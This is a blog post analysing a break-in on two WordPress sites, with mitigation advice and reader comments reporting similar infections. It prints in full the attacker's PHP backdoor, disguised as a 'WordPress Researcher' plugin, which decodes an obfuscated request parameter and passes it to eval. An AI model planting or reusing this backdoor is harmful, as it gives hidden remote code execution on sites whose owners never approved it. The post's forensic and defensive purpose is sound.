Analysis of a new WordPress attack

I run a number of WordPress sites. Running a WordPress site is an invitation to hack attacks; it’s such a popular platform that it provides an appealing target for hackers. On top of that, I have a somewhat tumultuous relationship with Eastern European organized crime that extends back quite a number of years (I’ve worked with law enforcement on high-profile attacks like this one), so I get a fair amount of attention from folks trying to DDoS, penetrate, or otherwise attack my sites.

The Attack

Last night, a hacker successfully penetrated one of the WordPress sites I own. I use a WordPress plugin called Word Fence that notifies me whenever anyone with administrator access logs in to one of my sites, so I responded and kicked the attacker out within eight minutes. Approximately fifteen minutes later, an attacker from the same IP address logged in to another WordPress site I run. I kicked him out of that site a few minutes later.

WordPress attackers often modify core WordPress files to install back doors, so I downloaded the contents of both sites, then did a nuke-and-pave with a new known-good WordPress install and moved the database to a different location.

I am still analyzing the attack, but there are a number of factors that have raised my suspicion that this may be a novel zero-day attack, not the least of which is the attacker gained access to both sites on the first login attempt without brute-forcing an administrator password (and yes, I use very robust passwords). Furthermore, the attacker logged in to an account named “admin,” and I do not create WordPress administrator accounts with that name–I always use different names for the admin accounts.

I’ve done a first pass forensic analysis of the attack. These are the characteristics I observed in both attacks:

  • The first thing the attacker does is create several new administrator accounts. These accounts have names such as “administrator;” “admin;” “admin” followed by a random two or three digit number (such as “admin52”); and “root.”
  • The attacker then creates new directories in the /plugins directory located in /wp-content. These directories are named “research_plugin_” followed by a random string of letters and numbers, such as “research_plugin_2hAs”.
  • Next, the attacker uploads malicious PHP files into these “research_plugin” directories. The PHP files are named “research_plugin.php”. Their content is located under the cut below.

<?php

/*
Plugin Name: WordPress Researcher
Plugin URI: http://wordpress.org/extend/plugins/
Description: WordPress research tool.
Author: wordpressdotorg
Author URI: http://wordpress.org/
Text Domain: wordpress-researcher
License: GPL version 2 or later – http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
Version: 2.2.4

Copyright 2013 wordpressdotorg

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110, USA
*/

function research_plugin()
{
if (isset($_REQUEST[‘2hAs’]))
{
$myfunc = ‘_bas’.’e64_’.’dec’.’ode’;
$myvar = $myfunc($_REQUEST[‘2hAs’]);
eval($myvar);
}
return;
}

function _base64_decode($in) {
$out=””;
for($x=0;$x<256;$x++){$chr[$x]=chr($x);}
$b64c=array_flip(preg_split(‘//’,”ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”,-1,1));
$match = array();
preg_match_all(“([A-z0-9+\/]{1,4})”,$in,$match);
foreach($match[0] as $chunk) {
$z=0;
for($x=0;isset($chunk[$x]);$x++) {
$z=($z<<6)+$b64c[$chunk[$x]];
if($x>0){ $out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1))); }
}
}
return $out;
}

add_action(‘after_setup_theme’, ‘research_plugin’);
?>

(Note that the comments in the header are merely the stock comments at the beginning of the sample WordPress plugin template; they do not indicate that this code is written by WordPress or is an official WordPress plugin.)

This code looks for an HTTP POST request with a POST variable named “2hAs.” The code searches for POST data with a name matching the random string of letters and numbers appended to the folder name (for example, a file uploaded to a folder named “research_plugin_6Ghq” will respond to an HTTP POST variable named “6Ghq”).

If it sees it, it will decode the POST data and execute it. Effectively, this gives the attacker the ability to run code of their choosing on the hacked site.

The attacker may also attempt to modify files in the Themes directory, and will create a new, empty folder in the /wp-content/uploads directory. I don’t know what changes the attacker attempts to make to the Themes files or whether the attacker attempts to upload to the /uploads directory, because in both cases I kicked the attacker out of the sites before he had finished.


The Mitigation

As soon as I’d knocked the attacker offline, nuked the sites, moved the database to a different location, and reloaded the sites with known-good backups, I turned to mitigating the attack.

It’s a bit scary that the attacker got in to two sites with two different strong passwords on the first try, on fully updated sites, using an admin account that didn’t exist. That rings “zero-day” alarm bells in my head.

The attacks originated from two different IP addresses, one in Russia and one in France, both of which have now been firewalled:

37.139.47.83
84.246.226.231

The first thing I did upon rebuilding the affected sites was installed a WordPress plugin that moves the standard WordPress login URL to a different location. And, sure enough, within minutes, I saw access attempts at the standard WordPress login URL, /wp-login.php.

If you run a WordPress site, and I know a lot of folks reading this do, I strongly urge you to take the following actions:

  • Log on to your site and look for administrator users who should not be there. Check for users named “root;” “administrator;” and “admin” followed by a number. If you did not set up an account named “admin,” make sure you don’t see one there.
  • Make sure you are using extremely robust passwords on all admin accounts.
  • Using an FTP program, look in your Plugins directory for anything that shouldn’t be there, including any files or folders named “research_plugin” or any variant thereof. Compare what’s in your Plugins folder to the plugins listed in the Plugins menu of the WordPress dashboard. If you see anything in the Plugins folder that isn’t listed in your plugins menu, delete it.
  • Make sure everything is fully up to date and automatic updates are turned on. If you run multiple WordPress sites, I highly recommend the free InfiniteWP software, which will notify you of any needed updates by email and give you a single control panel where you can keep all your WordPress sites up to date with one click.
  • Install the free WordPress plugins WordFence and WPS Hide Login. WordFence is a security plugin that will monitor for and block hack attacks and notify you whenever an administrator logs in. WPS Hide Login lets you create a new URL, such as /mysecretaccesspage, where you must go in order to log in. This will block brute-force hack attacks and attacks based on login exploits.

If you discover you’ve been hacked, I would love to hear from you. Please leave a comment below.

8 thoughts on “Analysis of a new WordPress attack

  1. WordPress Research Plugin

    I just cleaned out a site which had two instances of the plugin WordPress Research installed! The scary thing is that the site was running WPS Hide Login and had Wordfence and also had a strong password for the admin. The only known way that as far as I know that the plugin could have been installed was through the plugin Soundcloud is Gold and the theme Avada (from Themeforest.com). Both were the most recent updates. Prior to that, the WordPress Research plugin never existed. It could also have been through a neighboring site within the same server. Anyway, I killed the plugin, ran Wordfence, re-installed WordPress core files, changed the SQL database, and re-created a new admin. However, I still dont know if the trojan still lurks in parts somewhere in the site. A good wipe of the site and starting fresh is the only option.

  2. WordPress Research Plugin

    I just cleaned out a site which had two instances of the plugin WordPress Research installed! The scary thing is that the site was running WPS Hide Login and had Wordfence and also had a strong password for the admin. The only known way that as far as I know that the plugin could have been installed was through the plugin Soundcloud is Gold and the theme Avada (from Themeforest.com). Both were the most recent updates. Prior to that, the WordPress Research plugin never existed. It could also have been through a neighboring site within the same server. Anyway, I killed the plugin, ran Wordfence, re-installed WordPress core files, changed the SQL database, and re-created a new admin. However, I still dont know if the trojan still lurks in parts somewhere in the site. A good wipe of the site and starting fresh is the only option.

  3. No SoundCloud but am using Avada

    Woke up today to find multiple (as in more than 5) instances of WordPress Researcher plugins activated on one of my sites. This site also has WPS Hide Login installed, and basic Sucuri monitoring every 6 hours. Sucuri had not found anything on it’s last scan.

    I have taken the steps you suggested, and increased the security levels through Sucuri. It’s very disconcerting, especially when there are security measures in place.

    Any chance access was gained from an uploaded media file? That’s the only “new” thing in the past 24 hours.

    Thanks for your post – VERY helpful!

  4. No SoundCloud but am using Avada

    Woke up today to find multiple (as in more than 5) instances of WordPress Researcher plugins activated on one of my sites. This site also has WPS Hide Login installed, and basic Sucuri monitoring every 6 hours. Sucuri had not found anything on it’s last scan.

    I have taken the steps you suggested, and increased the security levels through Sucuri. It’s very disconcerting, especially when there are security measures in place.

    Any chance access was gained from an uploaded media file? That’s the only “new” thing in the past 24 hours.

    Thanks for your post – VERY helpful!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.